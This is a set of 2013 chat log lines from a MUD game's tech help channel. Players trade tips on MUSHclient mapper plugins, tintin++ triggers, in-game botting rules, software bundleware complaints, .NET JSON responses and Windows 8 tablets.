T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that would be a feature i would turn off
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: Thats one way they have gone with to turn it off and on, along with function key
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i bet hp support loves that feature
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: yah.. for sure...wow.. too drunk for that one.. thanks techaards
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: I may work for HP, but I wouldnt want to be anywhere near the PC support guys.  I've done that work for HP Pavilions and Deskjets before.  I can educate the ignorant, but I cant fix stupid.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: legally
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: people always forget to add that
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: can't fix stupid, legally
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: Euthanizing them isnt a fix for stupidity though
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Neryx Tech: The difference between fixing and eliminating is subtle, V.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: Too true
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so long as the phone don't ring
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: is there a way to cancel queued commands?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: how do i do an if file exists?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ontuct Tech: Why does Adobe have to include Macaffee in thier update... I forgot to click the little don't install all the extra crap box..... sigh
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it is almost like a game isn't it
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Jaenelle Tech: Oracle's java update is just as bad too :P
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Vost Tech: McAfee pays Adobe to sneak their crapware in
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tynrael Tech: its great when you uncheck the box and get the crap installed anyway  =)
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Cosrin Tech: ugh! reasons I switched to linux!
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ontuct Tech: itunes also seems to have gone from a tolerably usable to an unusable state... I knew I was putting off the upgrade for a while
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Cosrin Tech: I don't mind capitalism, but marketing is getting to a point where product pushing is almost and invasion of privacy.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tynrael Tech: you mean you dont like google showing you targeted advertisements related to keywords found in your gmail?  =)
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Grissom Tech: why am i getting this UNLINKED - Previously Grandmarket Boulevard (The Grand City of Aylor) (32470)
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ontuct Tech: just hate them sneaking stuff in
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ontuct Tech: i get the same thing
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Cosrin Tech: not enough people complain or threaten/follow through with not using their products.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Shue Tech: hi. where can i find the most recent version of Nick Gammon's Mushclient Mapper?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: i downloaded the whole client as a zip file and it works well as is
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: www.aardwolf.com, click the screenshot, click download client...or finger fiendish
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: and it seemed to be based on a newer version than the client you get from MUSHClient site...
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: yes, the mapper has been *HUGELY* updated from Gammon's
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: not only the mapper but the client is 4.89 while on the MUSHClient site they still seem to only have 4.84
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Turie Tech: Unless you go to another location in it.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: the aardwolf MUSHclient package just starts out with the MUSHclient site's version, but the MUSHclient site has multiple versions available for download
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: if you just click downloads, that's not the latest version...
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Turie Tech: You can go back to MUSHclient 2+ if you know where to look. lol
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: but that page tells you to go to the announcements to get the latest one
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: echo off
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: oops sorry :D silly me
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Shue Tech: pardon this tech noob. where exactly is the most recent mapper?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: [16 Jul 14:37:21] Abelinc Tech: www.aardwolf.com, click the screenshot, click download client...or finger fiendish
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: that was the answer to you for the latest mapper
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Shue Tech: i'm looking for the generic mapper, not the aardwolf one
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: well there are a number of clan pages that have most maps other wise pencil and paper i guess is an option
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: not a very techie solution i know :D
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ayasinda Tech: She is looking for the generic mushclient mapper plugin.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: Shue nods.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ayasinda Tech: I guess you can find that on Nick's site
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: oh you mean i've been using mushclient on other muds without a mapper when there is one... how silly of me
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: the mapper that is in the aard package is based on gammon's, but is greatly improved...you should be able to use it on other MUDs
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: for gammon's or the enhanced ones, though, you'd need to know the technology that the MUD uses for sending the information to the client
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: i.e. gammon originally wrote the mapper to use ATCP...it has been switched to use GMCP
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: both technologies exist on various MUDs
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Ghargan Tech: not many but yes it is being used more 
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: they...I was talking about two entirely different protocols
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Shue Tech: interesting... so is the mapper plugin called Aardwolf_Bigmap_Graphical.xml?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: aard_GMCP_mapper...but use the client as a whole, not just the file, since there are prerequisites in order for it to grab the GMCP info, etc
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Shue Tech: ok. thanks for the help
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Lictor Tech: Im having trouble bringing up a minimap in tintin wth aard script, is there way to disable the tinin map collection and just use the default aardwolf shortmap?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Hanslanda Tech: in Win7, my task manager seems to be stuck on Services.  Is there a way to fix that so I can get programs and processes back?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: whats the best way trigger on the first text, ignoring the second one so I will continiously cast burnt marbu during a fight?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: i'd just use 'damage 3' and then match on "[*] Your pierce" or what have you
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: there are drawbacks to constantly casting while fighting tho
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: just a slight delay if i have to flee right?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: you're commands get queued so if you heal several times and have to heal more it takes however many times you healed before of rounds that the casting would have used
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: No offense, Pei, but that is a horrible suggestion
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: correct
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: thats why I like to trigger only after the last burnt marbu goes through
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: what would you suggest cheeseburger
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: so there really is only 1 skill/spell in front
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If you MUST cast automatically instead of putting in the effort to hit a single macro ... you're going to want to cast roughly every 2.6-3.4 seconds (closer to 2.6 for mage, closer to 3.4 for every other class) instead of sending it every time you get hit.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: true
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: ok thanks guys!
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: not when you get hit, but when you do damage with your primary wielded weapon, or secondary too i guess
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Because if you cast every time you get hit, you're bound to end up stacked beyond belief, and if your hp drops you will never flee in time, period. I'd suggest just setting a macro with your attack, and hitting that once a round ... much easier, and much more fool proof. And if you miss 1 or 2 rounds because you didn't hit the macro ... no harm done.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: i set it when i do damage with my primary, it doesn't get stacked too bad unless you do lots of other stuff while fighting
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: also if i miss
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Which, typically, will happen if you're not botting
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: some of the higher level skills that I cast had a nice trigger like your green death sourounds the target even if it didn't do damage.  It only occurred once each cast.  So after each occurance I would auto green again
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Chatting, getting stunned, quaffing, all of those will screw it up beyond belief.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: that leaves you fee to do other things during the fight...thats the only thing
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: it's worked okay for me
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: might get one or two stacks i don't want but other than that
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Again, the better suggestion would be to play the game yourself instead of trying to get as close to botting as you can without actually 'botting'. Take it from someone who's been nuked for botting, it's a slippery slope once you start.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: che... you botted?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I just said that, didn't I? :P
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: lol
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: lol
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: We all make mistakes, it's wether you learn/adapt from them or not :P
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: And I learned, that it may seem easier to bot now, but starting over is a nightmare.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Pei Tech: well, i read help bot and i'm using common sense and following the rules to a t, so i'm not worried about getting nuked
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: well we all auto swing our weapons, i just want to auto swing and cast - might make sense if only warriors auto swing, mages auto, cast, etc
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: can't picture a mages first reaction to getting in a fight as swinging their dagger - they are gona start casting like a made person
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Well, take this situation in mind: You walk into an aggro room and get beat up as quick as you can quaff, that one "auto cast" instead of a quaff literally means the difference between surviving the room, and having to go back without eq and get your corpse :P
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: yes i can def see that happening
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Xantcha Tech: I think an imm would need to chime in for an official take, but I'd say any trigger that casts a combat spell automatically would cross the botting line
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Nah, X
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That much is legal, and has been clarified multiple times.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: I really don't think so
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: like auto eating drinking no afk'ing
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Not encouraged, but legal
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Thunderax Tech: could get you in trouble if you step away, but legal if you are here playing afaik
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Xantcha Tech: damn, they've relaxed the rules a bit since I was there lol
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: step away during a fight?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: As long as it doesn't intiate combat, move rooms, anything of that nature w/o input, you can have it cast a combat spell each round automatically.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Wildkard Tech: its aliased to my kill command
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Thunderax.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: it was legal when you were IMM as well...all provided that you're not afk in a room which may have an aggro...
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at you in agreement. 
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If you step away and it keeps killing/getting xp (group bot), then you're gonna get in trouble, but as long as you're at the screen auto casting is fine.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Cosrin Tech: May I practice spells on myself afk? or is that not kosher?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Spellup spells only
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: AFAIK, web/blind/etc bots are still illegal.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Cosrin Tech: what is afaik?
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tynrael Tech: as far as I know
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Cosrin Tech: ah! ty. I'll keep this in mind.
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: well, not "still illegal"...they'd been legal until pretty recently
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: why is spellup practicing allowed? this is still gain, not saying i disagree just wondering
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: because autospellup scripts were made legal
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Leinei Tech: Because if they weren't, then pretty much all scripts that kept you spelled up would be illegal
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Xantcha Tech: was just an imm decision to make spellups legal
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: so just being afk will accomplish spellup practicing
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: ok got it
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: when I started, and made my spellup script, it WAS illegal to keep yourself spelled up automamtically
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: so it required you to enter a command to spell yourself up (like just typing spellup every now & then with the current command, which also didn't exist at the time)
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hmm i press button to spellup but after afking i have to wait for 57 spells to cast, would be easier to keep spelled up all the time but then i can't have afk flag or have to toggle it all the time
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: and that's why many players like me don't use the flag
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Tech: you send me a tell when I'm not at the keys and I auto-respond with how long I've been afk
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: do you have a trigger to respond to the person if you're away? it seems a little bit rude not to respond at all
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: ah ok yeah that makes sense
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Coot lil Guala Tech: any audio experts here, specifically i'm wondering is there is a very good quality 3,5mm cable that splits 1 jack into 2 with an audio controller in between. (nylon braided or something)
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Coot lil Guala Tech: i wanna replace the cable that came with my ASUS Vulcan ANC
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Why you need the audio controller instead of just a straight splitter? :P
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Coot lil Guala Tech: with a better quality one, seems this one is kinda weak and broken:P
T3/r7/2013-07-16.txt.gz:{chan ch=tech}Coot lil Guala Tech: and this has a controller in in the cable to mute mike/control volume
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Cosrin Tech: in tintin++ can I create a trigger to flee at 15% health?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Tech: sure...just know that any stacked commands are processed before the trigger
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Cosrin Tech: would you by chance have an example? I can't seem to figure it out
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Tech: you'd use the GMCP info to get your %
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Cosrin Tech: I'll google gmcp and see what I come up with. thank you.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Cosrin Tech: So I believe i have the gmcp info... I think (wish I could be certain). How do I get it to trigger the flee command?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: heh. another javascript joke bug.. my onmouseup function call didn't work. checked everything 4 times.. 3hours.. it was all fine, no nothing. and then it turned out i had written the same function earlier in a different place to be filled later. debugger didnt hint anything.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Pei Tech: LOO
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Book of Etzli Tech: Interesting. So, I've found that my port 80 is working properly... but cannot be accessed by a connection on the same network... wtf, seriously?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: hi. how do i get rid of "invmon"?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Book of Etzli Tech: Type invmon
T3/r7/2013-07-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: help tags
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: is it a plugin?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Book of Etzli Tech: No.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: ok. ty
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: which plugin enables me to see more consider info? i think i accidentally disabled it
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: Consider_Info if you are using Bast's plugins.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Book of Etzli Tech: Most plugins contain a description of what it does. I'd go through your plugins to find which one talks about consider.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: ah. i deleted those. ty
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Fluffhead Tech: Got a weird question about pairing a bluetooth keyboard to an android-based tablet. The tablet sees the device, but does not pop up the dialog box with the passcode so I can pair them. Any thoughts on a work-around? The keyboard pairs with my comp and phone no problem, but there doesn't seem to be a way to put it in nopasscode mode.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: hi. how do i turn the skillgain tag off?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Ayasinda Tech: it's a toggle. Type tags to see.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: thanks
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Ayasinda Tech: oiops dont listen to me. It's tags skillgains off
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Ayasinda Tech: no toggle
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: no worries. managed to turn it off
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: hi. i'm using mushclient version 4.89. should i update to the latest one?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: Type package update check
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Pei Tech: i believe 4.89 is the latest except for a beta release
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Pei Tech: unless something has changed i don't know about
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: where can i find info about each of Bast's plugins? i can't find it on his site
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: It is under the wiki part
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Ayasinda Tech: there is all the info there is, on the site. What info fo you need?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Nuanse Tech: from basts site you WILL find it..under wiki part
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: https://code.google.com/p/bastmush/wiki/Intro?tm=6
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: found it, thanks
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: i'm trying to understand what spellskills does. the info doesn't help much for me..
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: You need to look under miniwin_spellup
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bast Tech: it doesn't do anything visible to the user, it is a helper plugin that parses the skills list
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Tech: basically, you're looking at it backwards
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: Bast: I think he is looking to do something with Spells/Skills.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Tech: go to his wiki and choose plugins to be interested in based on their descriptions...don't look at files to then find out if they'd be interesting
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: I would look at the Miniwin_<name> plugins mostly.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: so.. i have enabled miniwin_cp. how do i get the window to appear?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Ayasinda Tech: did yo also enable broadcast cp?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: yup
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Ayasinda Tech: the miniwin will then show when you start a cp
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: great. thanks
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: Shue: I use the "miniwin_events" since it have tabs for Quests, CPs, and GQs in one mini-window. However, if you like having the mini-windows seperate. Then you might want to disable miniwin_events.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: that's even better! how do i view the window?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: Look in the wiki. It explains it.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: found the window. i clicked right-clicked M and clicked help but got a runtime error
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: Sounds like you do not have all the plugins connected to it installed and running.
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: You need broadcast_cp/quest/gqs I think
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: hm, it's working now
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: erm, should i enable "ignore broadcast settings"? and what does it mean?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bast Tech: don't worry about that setting, it is only for globally setting config items on miniwindows
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: okay. hello, and thanks for your plugins
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bast Tech: no problem
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: hi. i'm getting a spellup plugin runtime error that appears randomly. what can i do to fix it?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Trachx Tech: depend on error
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Trachx Tech: easiest way is contact author of that plugin
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Trachx Tech: you can also get familiar with lua and fix it by yourself
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Turie Tech: Shue: Type plugins reload bsst, reload spellup plugin
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: thanks for the help. i restarted and it's working now
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Shue Tech: one last question before i leave (sorry for flooding this channel w my queries), can i view my flags in a miniwindow?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: Anyone here knows how to return json? I'm using .net
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: In a webrequest, that is
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://stackoverflow.com/questions/2108297/how-to-get-json-response-using-system-net-webrequest-in-c
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: lrn2google :P
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: Yeah that's how to read the returned json data. I need to return that data first, when someone requests
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: I always use Response.Write(myJson)
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: Though that displays the data in the page. I'm wondering if it's possible not to display it
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: Maybe there's another way
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Xantcha Tech: Depends on what you're using to retrieve it and what frameworks in .Net you're using
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: Using 3.5
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Xantcha Tech: we're using MVC and Razor right now, we use return Json(object) which wraps it in the appropriate content-type automatically
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: With that, when you use a browser, does it display in the page?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Xantcha Tech: if you're sending it to the user, you should be using a jQuery request (or similar) to retrieve it, and then jsut setting the content-type in the response and then the string of the JSON
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Xantcha Tech: whether it shows up to the user or not depends on how you're retrieving it, not what's suplpying
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: So if I explicitly set the content type to json, and the user doesn't set his/her request content type to json, supposedly he won't see the data?
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: Me being the supplier
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Xantcha Tech: no, it still depends on how they're requesting it
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Xantcha Tech: if they simply point their browser to your JSON request URL, they're going to see the JSON
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Bamboo Tech: nod
T3/r7/2013-07-17.txt.gz:{chan ch=tech}Xantcha Tech: the normal way of requesting JSON is to have an on-page script request it and use it to load something on the page
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: michael dell owns 16% of DELL
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: Who cares? Debate it on Debate!
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Rauche Tech: whats the mush command to see mapper help?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Ayasinda Tech: mapper help
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Rauche Tech: thanks
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Rhavage Tech: Got a question for any cmud user. Just since I logged on a few minutes ago, none of my aliases are working. I don't recall doing anything to disable them. Anybody have an idea what might be wrong?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Alucard Tech: Does anyone know how much bandwidth is taken per hour when mudding from phone?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: +- 3meg
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: if you level allot
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Alucard Tech: thanks slyzor
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: np :)
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Wildkard Tech: is there a way you can delete a normal exit in the mapper?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: right click on the room in mapper and select delete exit.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Wildkard Tech: thanks!
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Dralix Tech: anyone playing on Win8 tablet?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: I might one day.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Dralix Tech: thinking about getting one, wondering if I can use MUSHclient 
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: The RT version will not.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: It does not support legacy programs.
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Dralix Tech: thought I read that you could only use apps from the marketplace
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Dralix Tech: but maybe that was just RT?
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: http://www.pcworld.com/article/2017395/windows-rt-vs-windows-8-pro-choosing-the-right-tablet.html
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Turie Tech: RT only runs apps made for Windows RT Modern
T3/r7/2013-07-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: hey techs, windows 8 sucks.  just thought you should know.  i got a laptop with it on, and it sucks
